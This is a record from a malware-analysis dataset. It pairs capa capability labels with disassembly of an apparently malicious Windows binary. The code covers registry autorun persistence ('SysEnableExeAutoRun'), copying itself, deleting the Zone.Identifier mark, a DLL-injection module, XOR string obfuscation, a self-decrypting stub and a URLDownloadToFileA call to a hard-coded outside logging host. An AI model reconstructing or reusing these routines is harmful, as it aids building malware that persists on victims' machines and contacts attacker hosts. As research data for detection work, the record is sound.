joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402a5d
Capabilities:
Enumerate files on windows
Get common file path
Query environment variable
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x570
push ebx
push esi
push edi
xor edi, edi
push 0x13c
lea eax, [ebp - 0x150]
push edi
push eax
mov dword [ebp - 0x154], edi
call sub.ntdll.dll_memset
add esp, 0xc
push 0x18
pop eax
mov dword [ebp - 8], edi
call sub.ntdll.dll__alloca_probe
mov esi, esp
cmp esi, edi
je 0x402aaa
push 0x90
push 0x14
mov eax, esi
mov edx, 0x408c00
call fcn.0040425a
push 0x18
pop eax
call sub.ntdll.dll__alloca_probe
mov ebx, esp
cmp ebx, edi
je 0x402acb
push 0x8c
push 0x14
mov eax, ebx
mov edx, 0x408c14
call fcn.0040425a
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x402aec
push 0x95
push 5
mov eax, edi
mov edx, 0x408c2c
call fcn.0040425a
call fcn.00402288
test eax, eax
mov eax, ebx
jne 0x402af9
mov eax, esi
mov esi, 0x104
push esi
lea ecx, [ebp - 0x25c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x364]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp - 0x25c]
push eax
call esi
push edi
lea eax, [ebp - 0x25c]
push eax
call fcn.00404344
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
test edi, edi
jne 0x402b72
push str.break__n
push 0x30b
push str.StartZombieProcessEx
push str.src_system.cpp
call fcn.00404366
add esp, 0x10
jmp 0x402c60
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
test eax, eax
je 0x402c4a
cmp dword [ebp - 0xc], 0
jne 0x402c4a
push 0x10
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402bc9
push 0x85
push 9
mov edx, 0x408918
call fcn.0040425a
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.00403216
test eax, eax
je 0x402c4a
cmp dword [ebp + 8], 0
je 0x402bfb
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x56c]
push 0x4059cc
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x56c]
push eax
call fcn.0040338c
test eax, eax
je 0x402c4a
lea eax, [ebp - 0x128]
push eax
call fcn.00402687
mov dword [ebp - 8], eax
test eax, eax
jne 0x402c60
lea eax, [ebp - 0x128]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402c17
sub eax, edx
lea eax, [ebp - 0x128]
jne 0x402c2d
mov eax, str.none
push eax
push str.break___s_n
push 0x322
push str.StartZombieProcessEx
push str.src_system.cpp
call fcn.00404366
add esp, 0x14
lea eax, [ebp - 0x154]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402b72
lea eax, [ebp - 0x364]
push eax
call esi
test edi, edi
je 0x402c74
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 8]
lea esp, [ebp - 0x57c]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x402cb4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
push edi
mov esi, 0x103
xor edi, edi
push esi
lea eax, [ebp - 0x20b]
push edi
push eax
mov dword [ebp - 4], edi
mov byte [ebp - 0x20c], 0
call sub.ntdll.dll_memset
push esi
lea eax, [ebp - 0x107]
push edi
push eax
mov byte [ebp - 0x108], 0
call sub.ntdll.dll_memset
add esp, 0x18
cmp dword [ebp + 8], edi
je 0x402e08
lea edi, [esi + 1]
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x430068
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x34
pop eax
call sub.ntdll.dll__alloca_probe
mov ebx, esp
test ebx, ebx
je 0x402d37
push 0x88
push 0x31
mov eax, ebx
mov edx, 0x4084b0
call fcn.0040425a
lea eax, [ebp - 4]
push eax
push 0x20206
push 0
push ebx
mov esi, 0x80000001
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, 2
jne 0x402d60
lea eax, [ebp - 4]
push eax
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x402d86
push eax
push str.break___08x_n
push 0x368
push str.SysEnableExeAutoRun
push str.src_system.cpp
call fcn.00404366
add esp, 0x14
jmp 0x402e24
push 0x30
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402da5
push 0x83
push 0x2d
mov edx, 0x408480
call fcn.0040425a
lea ecx, [ebp - 0x20c]
push ecx
push eax
lea eax, [ebp - 0x108]
push edi
push eax
call dword [sym.imp.ntdll.dll__snprintf]
lea eax, [ebp - 0x108]
add esp, 0x10
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402dc7
sub eax, ecx
inc eax
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x402dfd
push eax
push str.break___08x_n
push 0x36f
jmp 0x402d6f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
jmp 0x402e24
push str.break__n
push 0x35b
push str.SysEnableExeAutoRun
push str.src_system.cpp
call fcn.00404366
add esp, 0x10
cmp dword [ebp - 4], 0
je 0x402e33
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea esp, [ebp - 0x218]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x403041
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
mov dword [ebp - 4], edi
cmp dword [ebp + 0xc], edi
je 0x403072
cmp esi, edi
je 0x403072
push edi
lea eax, [ebp - 4]
push eax
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40308e
cmp esi, dword [ebp - 4]
jne 0x40308e
inc edi
jmp 0x40308e
push str.break__n
push 0x90
push str.FileWrite
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x10
mov eax, edi
pop edi
leave
ret 8
Function at 0x403095
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
cmp ebx, esi
jne 0x4030cd
push str.break__n
push 0xa8
push str.FileLoadFrom
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x10
jmp 0x403201
push edi
push 0x80000000
push ebx
call fcn.00403021
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x403134
push str.FALSE
mov esi, str.break___s_n
push esi
mov edi, 0xad
push edi
push str.FileLoadFrom
mov ebx, str.src_fileio.cpp
push ebx
call fcn.00404366
mov eax, dword [ebp + 8]
add esp, 0x14
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40310b
sub eax, ecx
mov eax, dword [ebp + 8]
jne 0x40311e
mov eax, str.none
push eax
push esi
push edi
push str.FileLoadFrom
push ebx
call fcn.00404366
add esp, 0x14
jmp 0x403200
xor eax, eax
mov dword [ebp - 0x10], esi
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0xc], esi
test esi, esi
jne 0x40318a
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403159
sub eax, edx
mov eax, ebx
jne 0x40316b
mov eax, str.none
push eax
push str.break___s_n
push 0xb2
push str.FileLoadFrom
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x14
jmp 0x4031f8
call fcn.0040452e
mov edi, eax
mov dword [ebp - 8], edi
test edi, edi
jne 0x4031b8
push esi
push ebx
push str.break__Path:__s__Size:__u._n
push 0xbb
push str.FileLoadFrom
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x18
jmp 0x4031f8
and dword [ebp + 8], 0
push 0
lea eax, [ebp + 8]
push eax
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4031f8
mov esi, edi
call fcn.0040459f
and dword [ebp - 8], 0
push str.break__n
push 0xc6
push str.FileLoadFrom
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x10
push dword [ebp - 4]
call fcn.00402574
pop edi
mov eax, dword [ebp + 0xc]
pop esi
pop ebx
test eax, eax
je 0x40320f
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
mov eax, dword [ebp - 8]
leave
ret 8
Function at 0x403216
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
xor esi, esi
xor ebx, ebx
push edi
cmp dword [ebp + 8], esi
je 0x403358
cmp dword [ebp + 0xc], esi
je 0x403358
push esi
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov edi, eax
test edi, edi
jne 0x403270
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x405650
push 0x123
push str.FileCheckProductName
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x14
jmp 0x40337d
mov esi, edi
call fcn.0040452e
mov esi, eax
test esi, esi
jne 0x40329e
push str.break__n
push 0x128
push str.FileCheckProductName
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x10
jmp 0x40337d
push esi
push edi
push 0
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x403374
push 0x1c
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x4032d2
push 0x80
push 0x1a
mov edx, 0x408be0
call fcn.0040425a
mov edi, dword [sym.imp.VERSION.dll_VerQueryValueA]
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 4]
push ecx
push eax
push esi
call edi
test eax, eax
je 0x403374
push 0x28
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x40330b
push 0x99
push 0x27
mov edx, 0x408aec
call fcn.0040425a
mov ecx, dword [ebp - 4]
movzx edx, word [ecx + 2]
movzx ecx, word [ecx]
push edx
push ecx
push eax
lea eax, [ebp - 0x114]
push 0x104
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x14
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x114]
push eax
push esi
call edi
test eax, eax
je 0x403374
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x403374
xor ebx, ebx
inc ebx
jmp 0x403374
push str.break__n
push 0x11e
push str.FileCheckProductName
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x10
test esi, esi
je 0x40337d
call fcn.0040459f
mov eax, ebx
lea esp, [ebp - 0x120]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x403507
Capabilities:
Delete file
Set file attributes

Disassembly:
push edi
xor edi, edi
cmp ebx, edi
jne 0x40352c
push str.break__n
push 0x19c
push str.FileDelete
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x10
jmp 0x40354a
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
call esi
mov edi, eax
test edi, edi
jne 0x403549
push ebx
call esi
mov edi, eax
pop esi
mov eax, edi
pop edi
ret
Function at 0x403828
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push edi
mov edi, 0x42ff00
push edi
xor ebx, ebx
call esi
test eax, eax
je 0x40389a
push 0x14
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x403867
push 0x90
push 0x12
mov edx, 0x408c50
call fcn.0040425a
push edi
push eax
lea eax, [ebp - 0x104]
push 0x104
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
lea eax, [ebp - 0x104]
push eax
call esi
test eax, eax
je 0x4038b6
lea ebx, [ebp - 0x104]
call fcn.00403507
mov ebx, eax
jmp 0x4038b6
push str.break__n
push 0x2c7
push str.FileDeleteZoneId
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x10
mov eax, ebx
lea esp, [ebp - 0x110]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403910
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push edi
push 3
xor edi, edi
call fcn.004045fa
add eax, 3
push eax
call fcn.0040431a
mov ebx, eax
cmp ebx, edi
jne 0x403951
push str.break__n
push 0x333
push str.FileGetTemp
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x10
jmp 0x4039c5
push esi
lea eax, [ebp - 0x104]
push eax
push edi
push edi
call fcn.00403c98
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x40398a
push str.break__n
push 0x33d
push str.FileGetTemp
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x10
jmp 0x4039bd
mov esi, 0x104
call fcn.0040452e
mov edi, eax
test edi, edi
jne 0x4039a6
push str.break__n
push 0x342
jmp 0x403976
push edi
push 0xffffffffffffffff
call fcn.004045fa
push eax
push ebx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov esi, ebx
call fcn.0040459f
pop esi
mov eax, edi
pop edi
pop ebx
leave
ret
Function at 0x403a95
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
xor ebx, ebx
xor esi, esi
cmp edi, ebx
je 0x403b9d
push edi
push ebx
push ebx
push 0x23
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x403ae4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x405650
push 0x387
push str.PathGenBotName
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x14
jmp 0x403b9d
push 4
pop eax
call sub.ntdll.dll__alloca_probe
mov esi, esp
cmp esi, ebx
je 0x403b05
push 0x95
push 2
mov eax, esi
mov edx, 0x408cbc
call fcn.0040425a
push 0xffffffffffffffff
call fcn.004045fa
push eax
push esi
lea eax, [ebp - 0x104]
push 0x104
push eax
call dword [sym.imp.ntdll.dll__snprintf]
lea eax, [ebp - 0x104]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403b2c
sub eax, edx
cmp eax, 6
jb 0x403b05
cmp byte [ebp - 0x104], bl
je 0x403b66
lea ecx, [ebp - 0x104]
movsx eax, byte [ecx]
lea edx, [eax - 0x30]
and edx, 0x80000001
jns 0x403b5b
dec edx
or edx, 0xfffffffe
inc edx
je 0x403b61
add al, 0x31
mov byte [ecx], al
inc ecx
cmp byte [ecx], bl
jne 0x403b48
lea eax, [ebp - 0x104]
push eax
push edi
call fcn.00404344
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x403b92
push 0x92
push 4
mov edx, 0x40888c
call fcn.0040425a
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionA]
xor esi, esi
inc esi
mov eax, esi
lea esp, [ebp - 0x10c]
pop esi
pop ebx
leave
ret

Function at 0x403ba9
Capabilities:
Access pe header
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push edi
xor edi, edi
and dword [ebp - 4], edi
cmp dword [ebp + 8], edi
jne 0x403bde
push str.break__n
push 0x3b3
push str.FileCopySelfTo
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x10
jmp 0x403c91
push esi
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00403095
mov esi, eax
test esi, esi
je 0x403c53
cmp dword [ebp - 4], edi
je 0x403c53
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov edi, eax
test edi, edi
jne 0x403c39
push str.break__n
push 0x3bf
push str.FileCopySelfTo
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x10
jmp 0x403c73
push 0xffffffffffffffff
call fcn.004045fa
push esi
push dword [ebp + 8]
mov dword [edi + 0x58], eax
mov eax, dword [ebp - 4]
call fcn.00403415
mov edi, eax
jmp 0x403c6f
push str.break__n
push 0x3ba
push str.FileCopySelfTo
push str.src_fileio.cpp
call fcn.00404366
add esp, 0x10
test edi, edi
jne 0x403c87
push 1
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edi, eax
test esi, esi
je 0x403c90
call fcn.0040459f
pop esi
mov eax, edi
pop edi
leave
ret 4
Function at 0x403e03
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
xor eax, eax
push 0x220
push eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x22c], eax
lea eax, [ebp - 0x228]
push eax
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push dword [ebp + 8]
push 8
pop ebx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x403e6b
call edi
cmp eax, 0x18
jne 0x403ead
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push dword [ebp + 8]
push ebx
call esi
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x403f6f
lea eax, [ebp - 0x22c]
push eax
push dword [ebp - 4]
mov dword [ebp - 0x22c], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
jne 0x403ee8
call edi
push eax
push 0x405650
push 0x96
push str.SysIsKernelLoaded
push str.srcdll_inject.cpp
call fcn.00404366
add esp, 0x14
jmp 0x403f61
call edi
cmp eax, 0x12b
je 0x403f6f
call edi
cmp eax, ebx
je 0x403f6f
call edi
push eax
push 0x405650
push 0x8f
push str.SysIsKernelLoaded
push str.srcdll_inject.cpp
call fcn.00404366
add esp, 0x14
jmp 0x403f6f
mov eax, ebx
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x403f08
push 0x99
push 6
mov eax, edi
mov edx, 0x4088ec
call fcn.0040425a
mov eax, ebx
call sub.ntdll.dll__alloca_probe
mov ebx, esp
test ebx, ebx
je 0x403f28
push 0x81
push 4
mov eax, ebx
mov edx, 0x408888
call fcn.0040425a
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push edi
lea eax, [ebp - 0x20c]
push eax
call esi
test eax, eax
je 0x403f44
push ebx
push eax
call esi
test eax, eax
jne 0x403f5a
lea eax, [ebp - 0x22c]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x403f2e
jmp 0x403f61
mov dword [ebp - 8], 1
cmp dword [ebp - 4], 0xffffffff
je 0x403f6f
push dword [ebp - 4]
call fcn.00402574
mov eax, dword [ebp - 8]
lea esp, [ebp - 0x238]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40425a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x40427b
mov esi, edx
mov ecx, eax
sub esi, eax
mov edx, edi
mov bl, byte [esi + ecx]
xor bl, byte [ebp + 0xc]
mov byte [ecx], bl
inc ecx
dec edx
jne 0x40426f
xor edx, edx
mov byte [edi + eax], dl
cmp edi, edx
jbe 0x404313
lea ebx, [edx + eax]
mov cl, byte [ebx]
cmp cl, 0x5c
jne 0x4042b5
lea edi, [edx + eax + 1]
cmp byte [edi], cl
je 0x4042fe
cmp cl, cl
jne 0x4042b5
lea edi, [edx + eax + 1]
cmp byte [edi], 0x72
jne 0x4042b5
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
mov byte [ebx], 0xd
rep movsb byte es:[edi], byte [esi]
cmp byte [ebx], 0x5c
jne 0x404309
lea edi, [edx + eax + 1]
cmp byte [edi], 0x6e
jne 0x4042d1
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
mov byte [ebx], 0xa
rep movsb byte es:[edi], byte [esi]
cmp byte [ebx], 0x5c
jne 0x404309
lea edi, [edx + eax + 1]
cmp byte [edi], 0x74
jne 0x4042ed
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
mov byte [ebx], 9
rep movsb byte es:[edi], byte [esi]
cmp byte [ebx], 0x5c
jne 0x404309
lea edi, [edx + eax + 1]
cmp byte [edi], 0x22
jne 0x404309
mov byte [ebx], 0x22
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
rep movsb byte es:[edi], byte [esi]
inc edx
cmp edx, dword [ebp + 8]
jb 0x404288
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x404366
Capabilities:
Accept command line arguments
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc30
push ebx
push esi
push edi
push 0xc
pop eax
call sub.ntdll.dll__alloca_probe
mov esi, esp
test esi, esi
je 0x404393
push 0x87
push 8
mov eax, esi
mov edx, 0x408ac8
call fcn.0040425a
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov ebx, esp
test ebx, ebx
je 0x4043b4
push 0x96
push 7
mov eax, ebx
mov edx, 0x408738
call fcn.0040425a
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCommandLineA]
call esi
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push eax
call edi
test eax, eax
jne 0x4044c9
push ebx
call esi
push eax
call edi
test eax, eax
jne 0x4044c9
lea eax, [ebp + 0x18]
push eax
push dword [ebp + 0x14]
mov esi, 0x410
lea eax, [ebp - 0xc30]
push esi
push eax
call dword [sym.imp.ntdll.dll__vsnprintf]
add esp, 0x10
push 0x1c
pop eax
call sub.ntdll.dll__alloca_probe
mov edi, esp
xor ebx, ebx
cmp edi, ebx
je 0x40441c
push 0x8e
push 0x18
mov eax, edi
mov edx, 0x408844
call fcn.0040425a
lea eax, [ebp - 0xc30]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x820]
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
push esi
push eax
call dword [sym.imp.ntdll.dll__snprintf]
lea eax, [ebp - 0x820]
add esp, 0x24
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404455
sub eax, ecx
push eax
lea eax, [ebp - 0x410]
lea ecx, [ebp - 0x820]
call fcn.00404621
xor eax, eax
mov cl, byte [eax + str.http:__noyokoya_info.chu.jp_logs_dbg.php_msg]
mov byte [ebp + eax - 0x208], cl
inc eax
test cl, cl
jne 0x404472
lea eax, [ebp - 0x410]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40448c
lea edi, [ebp - 0x208]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40449c
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push ebx
push ebx
mov ecx, eax
push 0x4066ec
lea eax, [ebp - 0x208]
push eax
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea esp, [ebp - 0xc3c]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404621
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x44
mov esi, eax
pop eax
mov edi, ecx
call fcn.00404d60
mov eax, esp
test eax, eax
je 0x40464d
push 0x87
push 0x40
mov edx, 0x408410
call fcn.0040425a
lea edx, [ebx - 2]
xor ecx, ecx
test edx, edx
jle 0x4046b5
movzx edx, byte [edi + ecx]
shr edx, 2
mov dl, byte [edx + eax]
mov byte [esi], dl
movsx edx, byte [edi + ecx]
movzx ebx, byte [edi + ecx + 1]
and edx, 3
shl edx, 4
shr ebx, 4
or edx, ebx
mov dl, byte [edx + eax]
mov byte [esi + 1], dl
movsx ebx, byte [edi + ecx + 1]
movzx edx, byte [edi + ecx + 2]
shr edx, 6
and ebx, 0xf
shl ebx, 2
or edx, ebx
mov dl, byte [edx + eax]
mov ebx, dword [ebp + 8]
mov byte [esi + 2], dl
movsx edx, byte [edi + ecx + 2]
and edx, 0x3f
mov dl, byte [edx + eax]
mov byte [esi + 3], dl
add ecx, 3
lea edx, [ebx - 2]
add esi, 4
cmp ecx, edx
jl 0x404656
cmp ecx, ebx
jge 0x404708
add edi, ecx
movzx edx, byte [edi]
shr edx, 2
mov dl, byte [edx + eax]
dec ebx
mov byte [esi], dl
cmp ecx, ebx
movsx ecx, byte [edi]
jne 0x4046df
and ecx, 3
add ecx, ecx
mov al, byte [eax + ecx*8]
mov byte [esi + 1], al
mov byte [esi + 2], 0x3d
jmp 0x404701
movzx edx, byte [edi + 1]
and ecx, 3
shl ecx, 4
shr edx, 4
or ecx, edx
mov cl, byte [ecx + eax]
mov byte [esi + 1], cl
movsx ecx, byte [edi + 1]
and ecx, 0xf
mov al, byte [eax + ecx*4]
mov byte [esi + 2], al
add esi, 3
mov byte [esi], 0x3d
inc esi
mov byte [esi], 0
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x404a7c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x405250
sub eax, eax
test esi, esi
je 0x404b54
sub eax, 1
test ecx, ecx
je 0x404b52
test esi, 3
je 0x404aba
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x404a9f
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x404b39
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x404ac4
mov ecx, edx
test ecx, ecx
je 0x404b52
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x404b3f
not eax
mov dword [esp + 0x1c], eax
popal
ret

Function at 0xdbd0d8
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdbd0e2
pushal
call 0xdbd0e8
pop ebp
sub ebp, 0x10
sub ebp, 0x9bd0d8
jmp 0xdbd0fe
mov eax, 0x9bd0d8
add eax, ebp
add eax, 0x4c
mov ecx, 0x585
mov edx, 0x454a5b46
xor byte [eax], dl
inc eax
dec ecx
jne 0xdbd115
jmp 0xdbd128
int 0x8b
int 0xcf
jp 0xdbd174
inc esi
inc esi
mov dword [edi + 0x464646be], 0x40fe8b45
inc esi
inc esi
inc esi
cld
outsb dx, byte [esi]
inc esi
inc esi
inc esi
mov cl, 0xa4
inc ebp
mov cs, ebp
invalid
inc esi
int 0xd3
dec edx
inc esi
inc esi
inc esi
int 0xcb
push esi
inc esi
inc esi
inc esi
xchg dword [edi - 0x3abb88bc], ebp
test byte [edx + 0xf], al
dec ecx
ret